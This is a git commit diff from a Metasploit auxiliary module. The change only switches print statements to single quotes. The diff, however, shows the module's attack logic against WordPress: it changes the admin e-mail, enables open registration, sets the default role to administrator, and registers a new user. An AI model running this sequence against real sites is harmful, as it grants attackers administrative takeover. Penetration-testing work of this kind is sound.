Update print statements

GSoC/Meterpreter_Web_Console
Jacob Robles 2018-11-28 18:03:55 -06:00
parent c4959da77f
commit 1af7cf2b3b
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
1 changed files with 6 additions and 5 deletions

View File

@ -65,7 +65,7 @@ class MetasploitModule < Msf::Auxiliary
end end
def run def run
print_status("Getting security token from host...") print_status('Getting security token from host...')
wp_home_res = send_request_cgi( wp_home_res = send_request_cgi(
'method' => 'GET', 'method' => 'GET',
'uri' => target_uri.path 'uri' => target_uri.path
@ -80,23 +80,24 @@ class MetasploitModule < Msf::Auxiliary
if datastore['WPEMAIL'].present? && (datastore['WPEMAIL'] =~ URI::MailTo::EMAIL_REGEXP) if datastore['WPEMAIL'].present? && (datastore['WPEMAIL'] =~ URI::MailTo::EMAIL_REGEXP)
print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...") print_warning("Changing admin e-mail address to #{datastore['WPEMAIL']}...")
if set_wp_option('admin_email', datastore['WPEMAIL'], ajax_security).nil? if set_wp_option('admin_email', datastore['WPEMAIL'], ajax_security).nil?
print_error("Failed to change the admin e-mail address") print_error('Failed to change the admin e-mail address')
return return
end end
end end
print_warning("Enabling user registrations...") print_warning('Enabling user registrations...')
if set_wp_option('users_can_register', '1', ajax_security).nil? if set_wp_option('users_can_register', '1', ajax_security).nil?
print_error("Failed to enable user registrations") print_error('Failed to enable user registrations')
return return
end end
print_warning("Setting the default user role type to administrator...") print_warning('Setting the default user role type to administrator...')
if set_wp_option('default_role', 'administrator', ajax_security).nil? if set_wp_option('default_role', 'administrator', ajax_security).nil?
print_error("Failed to set the default user role") print_error("Failed to set the default user role")
return return
end end
print_status("Registering #{datastore['USER']} with email #{datastore['EMAIL']}")
unless (datastore['EMAIL'] =~ URI::MailTo::EMAIL_REGEXP) && wordpress_register(datastore['USER'], datastore['EMAIL']) unless (datastore['EMAIL'] =~ URI::MailTo::EMAIL_REGEXP) && wordpress_register(datastore['USER'], datastore['EMAIL'])
print_error("Failed to register user") print_error("Failed to register user")
end end